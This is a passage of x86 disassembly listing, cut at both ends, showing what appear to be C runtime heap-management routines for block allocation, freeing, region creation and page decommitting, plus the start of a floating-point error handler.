not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41B659
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41B659
; ---------------------------------------------------------------------------
loc_41B635: ; CODE XREF: sub_41B592+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41B659
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41B659: ; CODE XREF: sub_41B592+7Dj
; sub_41B592+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41B727
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41B693
push 3Fh
pop edi
loc_41B693: ; CODE XREF: sub_41B592+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41B715
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41B6EC
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41B6DF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41B6DF: ; CODE XREF: sub_41B592+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41B711
; ---------------------------------------------------------------------------
loc_41B6EC: ; CODE XREF: sub_41B592+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41B702
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41B702: ; CODE XREF: sub_41B592+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41B711: ; CODE XREF: sub_41B592+158j
shr edx, cl
or [eax], edx
loc_41B715: ; CODE XREF: sub_41B592+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41B72A
; ---------------------------------------------------------------------------
loc_41B727: ; CODE XREF: sub_41B592+E5j
mov edx, [ebp+arg_4]
loc_41B72A: ; CODE XREF: sub_41B592+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41B880
; ---------------------------------------------------------------------------
loc_41B739: ; CODE XREF: sub_41B592+52j
; sub_41B592+5Cj
xor eax, eax
jmp loc_41B883
; ---------------------------------------------------------------------------
loc_41B740: ; CODE XREF: sub_41B592+49j
jge loc_41B880
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41B76B
push 3Fh
pop esi
loc_41B76B: ; CODE XREF: sub_41B592+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41B7FA
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41B784
push 3Fh
pop esi
loc_41B784: ; CODE XREF: sub_41B592+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41B7D3
cmp esi, 20h
jnb short loc_41B7AF
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41B7D0
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41B7D0
; ---------------------------------------------------------------------------
loc_41B7AF: ; CODE XREF: sub_41B592+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41B7D0
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41B7D0: ; CODE XREF: sub_41B592+214j
; sub_41B592+21Bj ...
mov ebx, [ebp+arg_4]
loc_41B7D3: ; CODE XREF: sub_41B592+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41B7FA
push 3Fh
pop esi
loc_41B7FA: ; CODE XREF: sub_41B592+1DDj
; sub_41B592+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41B877
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41B84E
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41B841
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41B841: ; CODE XREF: sub_41B592+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41B873
; ---------------------------------------------------------------------------
loc_41B84E: ; CODE XREF: sub_41B592+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41B864
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41B864: ; CODE XREF: sub_41B592+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41B873: ; CODE XREF: sub_41B592+2BAj
shr edx, cl
or [eax], edx
loc_41B877: ; CODE XREF: sub_41B592+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41B880: ; CODE XREF: sub_41B592+1A2j
; sub_41B592:loc_41B740j
push 1
pop eax
loc_41B883: ; CODE XREF: sub_41B592+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41B592 endp
; =============== S U B R O U T I N E =======================================
sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp
cmp dword_433EA0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41B89C
mov esi, offset off_433E90
jmp short loc_41B8B9
; ---------------------------------------------------------------------------
loc_41B89C: ; CODE XREF: sub_41B888+Bj
push 2020h
push 0
push dword_4CF024
call near ptr 2710000h
nop
mov esi, eax
test esi, esi
jz loc_41B9C5
loc_41B8B9: ; CODE XREF: sub_41B888+12j
mov ebp, dword_4241B4
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41B9AE
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41B9A0
mov eax, offset off_433E90
cmp esi, eax
jnz short loc_41B918
cmp off_433E90, 0
jnz short loc_41B908
mov off_433E90, eax
loc_41B908: ; CODE XREF: sub_41B888+79j
cmp off_433E94, 0
jnz short loc_41B92D
mov off_433E94, eax
jmp short loc_41B92D
; ---------------------------------------------------------------------------
loc_41B918: ; CODE XREF: sub_41B888+70j
mov [esi], eax
mov eax, off_433E94
mov [esi+4], eax
mov off_433E94, esi
mov eax, [esi+4]
mov [eax], esi
loc_41B92D: ; CODE XREF: sub_41B888+87j
; sub_41B888+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41B94F: ; CODE XREF: sub_41B888+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41B94F
push ebx
push 0
push edi
call sub_417330
add esp, 0Ch
loc_41B978: ; CODE XREF: sub_41B888+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41B99C
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41B978
; ---------------------------------------------------------------------------
loc_41B99C: ; CODE XREF: sub_41B888+F7j
mov eax, esi
jmp short loc_41B9C7
; ---------------------------------------------------------------------------
loc_41B9A0: ; CODE XREF: sub_41B888+63j
push 8000h
push 0
push edi
call near ptr 2860694h
nop
loc_41B9AE: ; CODE XREF: sub_41B888+4Bj
cmp esi, offset off_433E90
jz short loc_41B9C5
push esi
push 0
push dword_4CF024
nop
call near ptr 2700000h
loc_41B9C5: ; CODE XREF: sub_41B888+2Bj
; sub_41B888+12Cj
xor eax, eax
loc_41B9C7: ; CODE XREF: sub_41B888+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B888 endp
; =============== S U B R O U T I N E =======================================
sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
nop
call near ptr 2860694h
cmp off_435EB0, esi
jnz short loc_41B9F1
mov eax, [esi+4]
mov off_435EB0, eax
loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj
cmp esi, offset off_433E90
jz short loc_41BA19
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4CF024
nop
call near ptr 2700000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj
or dword_433EA0, 0FFFFFFFFh
pop esi
retn
sub_41B9CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_433E94
push edi
loc_41BA2F: ; CODE XREF: sub_41BA22+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41BACD
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41BA48: ; CODE XREF: sub_41BA22+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41BA89
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call near ptr 2860694h
nop
test eax, eax
jz short loc_41BA89
or dword ptr [edi], 0FFFFFFFFh
dec dword_4CDA1C
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41BA7E
cmp eax, edi
jbe short loc_41BA81
loc_41BA7E: ; CODE XREF: sub_41BA22+56j
mov [esi+0Ch], edi
loc_41BA81: ; CODE XREF: sub_41BA22+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41BA96
loc_41BA89: ; CODE XREF: sub_41BA22+2Cj
; sub_41BA22+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41BA48
loc_41BA96: ; CODE XREF: sub_41BA22+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41BACD
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41BACD
push 1
lea eax, [ecx+20h]
pop edx
loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41BABE
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41BAAD
loc_41BABE: ; CODE XREF: sub_41BA22+8Ej
cmp edx, 400h
jnz short loc_41BACD
push ecx
call sub_41B9CC
pop ecx
loc_41BACD: ; CODE XREF: sub_41BA22+11j
; sub_41BA22+7Dj ...
cmp esi, off_433E94
jz short loc_41BADF
cmp [ebp+arg_0], 0
jg loc_41BA2F
loc_41BADF: ; CODE XREF: sub_41BA22+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41BA22 endp
; =============== S U B R O U T I N E =======================================
sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap
; sub_41944F+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_433E90
push esi
mov ecx, edx
loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj
cmp eax, [ecx+10h]
jbe short loc_41BAFA
cmp eax, [ecx+14h]
jb short loc_41BB02
loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41BB37
jmp short loc_41BAF0
; ---------------------------------------------------------------------------
loc_41BB02: ; CODE XREF: sub_41BAE4+14j
test al, 0Fh
jnz short loc_41BB37
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41BB37
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj
; sub_41BAE4+20j ...
xor eax, eax
pop esi
retn
sub_41BAE4 endp
; =============== S U B R O U T I N E =======================================
sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp
; sub_41944F+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41BB7F
inc dword_4CDA1C
cmp dword_4CDA1C, 20h
jnz short locret_41BB7F
push 10h
call sub_41BA22
pop ecx
locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj
; sub_41BB3B+3Aj
retn
sub_41BB3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap
; sub_41944F+1ACp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_435EB0
push edi
loc_41BB8E: ; CODE XREF: sub_41BB80+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41BC39
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41BBF3
loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41BBDC
cmp [edi+4], ebx
jbe short loc_41BBDC
push ebx
push ecx
push eax
call sub_41BD88
add esp, 0Ch
test eax, eax
jnz short loc_41BC4B
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41BBDC: ; CODE XREF: sub_41BB80+40j
; sub_41BB80+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41BBB9
jmp short loc_41BBF6
; ---------------------------------------------------------------------------
loc_41BBF3: ; CODE XREF: sub_41BB80+37j
mov ebx, [ebp+arg_0]
loc_41BBF6: ; CODE XREF: sub_41BB80+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41BC3C
loc_41BC09: ; CODE XREF: sub_41BB80+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41BC28
cmp [edi+4], ebx
jbe short loc_41BC28
push ebx
push eax
push [ebp+var_4]
call sub_41BD88
add esp, 0Ch
test eax, eax
jnz short loc_41BC4B
mov [edi+4], ebx
loc_41BC28: ; CODE XREF: sub_41BB80+8Dj
; sub_41BB80+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41BC09
jmp short loc_41BC3C
; ---------------------------------------------------------------------------
loc_41BC39: ; CODE XREF: sub_41BB80+14j
mov ebx, [ebp+arg_0]
loc_41BC3C: ; CODE XREF: sub_41BB80+87j
; sub_41BB80+B7j
mov esi, [esi]
cmp esi, off_435EB0
jz short loc_41BC5B
jmp loc_41BB8E
; ---------------------------------------------------------------------------
loc_41BC4B: ; CODE XREF: sub_41BB80+54j
; sub_41BB80+A3j
mov off_435EB0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41BD83
; ---------------------------------------------------------------------------
loc_41BC5B: ; CODE XREF: sub_41BB80+C4j
mov eax, offset off_433E90
mov edi, eax
loc_41BC62: ; CODE XREF: sub_41BB80+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41BC6E
cmp dword ptr [edi+0Ch], 0
jnz short loc_41BC7A
loc_41BC6E: ; CODE XREF: sub_41BB80+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41BD4F
jmp short loc_41BC62
; ---------------------------------------------------------------------------
loc_41BC7A: ; CODE XREF: sub_41BB80+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41BCA9
loc_41BC98: ; CODE XREF: sub_41BB80+127j
cmp [ebp+var_4], 10h
jge short loc_41BCA9
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41BC98
loc_41BCA9: ; CODE XREF: sub_41BB80+116j
; sub_41BB80+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
nop
call near ptr 28607A2h
cmp eax, esi
jnz loc_41BD81
push 0
push [ebp+var_8]
push esi
call sub_417330
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41BD10
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41BCE6
loc_41BD10: ; CODE XREF: sub_41BB80+15Ej
mov off_435EB0, edi
lea eax, [edi+2018h]
loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j
cmp ecx, eax
jnb short loc_41BD2C
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41BD2A
add ecx, 8
jmp short loc_41BD1C
; ---------------------------------------------------------------------------
loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j
cmp ecx, eax
loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41BD83
; ---------------------------------------------------------------------------
loc_41BD4F: ; CODE XREF: sub_41BB80+F2j
call sub_41B888
test eax, eax
jz short loc_41BD81
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_435EB0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41BD83
; ---------------------------------------------------------------------------
loc_41BD81: ; CODE XREF: sub_41BB80+143j
; sub_41BB80+1D6j
xor eax, eax
loc_41BD83: ; CODE XREF: sub_41BB80+D6j
; sub_41BB80+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BB80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap
; sub_41BB80+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41BDCD
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41BDBC
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41BDC5
; ---------------------------------------------------------------------------
loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41BDC5: ; CODE XREF: sub_41BD88+32j
lea eax, [edi+8]
jmp loc_41BE9B
; ---------------------------------------------------------------------------
loc_41BDCD: ; CODE XREF: sub_41BD88+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41BDD6
mov eax, esi
loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41BE20
loc_41BDDD: ; CODE XREF: sub_41BD88+96j
mov bl, [eax]
test bl, bl
jnz short loc_41BE13
push 1
lea ebx, [eax+1]
pop esi
loc_41BDE9: ; CODE XREF: sub_41BD88+68j
cmp byte ptr [ebx], 0
jnz short loc_41BDF2
inc ebx
inc esi
jmp short loc_41BDE9
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BD88+64j
cmp esi, edx
jnb short loc_41BE44
cmp eax, [ebp+var_4]
jnz short loc_41BE00
mov [ecx+4], esi
jmp short loc_41BE0C
; ---------------------------------------------------------------------------
loc_41BE00: ; CODE XREF: sub_41BD88+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41BEA5
loc_41BE0C: ; CODE XREF: sub_41BD88+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41BE18
; ---------------------------------------------------------------------------
loc_41BE13: ; CODE XREF: sub_41BD88+59j
movzx esi, bl
add eax, esi
loc_41BE18: ; CODE XREF: sub_41BD88+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41BDDD
loc_41BE20: ; CODE XREF: sub_41BD88+53j
lea esi, [ecx+8]
loc_41BE23: ; CODE XREF: sub_41BD88+EBj
; sub_41BD88+F2j
cmp esi, edi
jnb short loc_41BEA5
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41BEA5
mov al, [esi]
test al, al
jnz short loc_41BE75
push 1
lea ebx, [esi+1]
pop eax
loc_41BE3B: ; CODE XREF: sub_41BD88+BAj
cmp byte ptr [ebx], 0
jnz short loc_41BE65
inc ebx
inc eax
jmp short loc_41BE3B
; ---------------------------------------------------------------------------
loc_41BE44: ; CODE XREF: sub_41BD88+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41BE55
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41BE5E
; ---------------------------------------------------------------------------
loc_41BE55: ; CODE XREF: sub_41BD88+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41BE5E: ; CODE XREF: sub_41BD88+CBj
mov [eax], dl
add eax, 8
jmp short loc_41BE9B
; ---------------------------------------------------------------------------
loc_41BE65: ; CODE XREF: sub_41BD88+B6j
cmp eax, edx
jnb short loc_41BE7C
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41BEA5
mov esi, ebx
jmp short loc_41BE23
; ---------------------------------------------------------------------------
loc_41BE75: ; CODE XREF: sub_41BD88+ABj
movzx eax, al
add esi, eax
jmp short loc_41BE23
; ---------------------------------------------------------------------------
loc_41BE7C: ; CODE XREF: sub_41BD88+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41BE8D
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41BE96
; ---------------------------------------------------------------------------
loc_41BE8D: ; CODE XREF: sub_41BD88+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41BE96: ; CODE XREF: sub_41BD88+103j
mov [esi], dl
lea eax, [esi+8]
loc_41BE9B: ; CODE XREF: sub_41BD88+40j
; sub_41BD88+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41BEA7
; ---------------------------------------------------------------------------
loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej
; sub_41BD88+9Dj ...
xor eax, eax
loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41BD88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41BEE6
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BEE6: ; CODE XREF: sub_41BEAC+26j
jnb short loc_41BF4D
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41BF4D
lea eax, [ecx+edx]
loc_41BEFB: ; CODE XREF: sub_41BEAC+59j
cmp eax, esi
jnb short loc_41BF09
cmp byte ptr [eax], 0
jnz short loc_41BF07
inc eax
jmp short loc_41BEFB
; ---------------------------------------------------------------------------
loc_41BF07: ; CODE XREF: sub_41BEAC+56j
cmp eax, esi
loc_41BF09: ; CODE XREF: sub_41BEAC+51j
jnz short loc_41BF4D
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41BF41
cmp esi, eax
jbe short loc_41BF41
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41BF38
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41BF33
loc_41BF2C: ; CODE XREF: sub_41BEAC+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41BF2C
loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej
mov [ebx+4], eax
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF38: ; CODE XREF: sub_41BEAC+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41BF41: ; CODE XREF: sub_41BEAC+68j
; sub_41BEAC+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41BF46: ; CODE XREF: sub_41BEAC+38j
mov [ebp+var_4], 1
loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j
; sub_41BEAC+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41BEAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_41BF55(int,int,double,int)
sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p
; sub_417DEB+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_436608, 0
jnz short loc_41BF8A
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_41C50A
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BF8A: ; CODE XREF: sub_41BF55+Aj
push 0FFFFh
mov dword_4CD9B4, 21h
push [ebp+arg_C]
call sub_41C77D
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_41BF55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41BFA8(int,int,double,double,int)
sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p
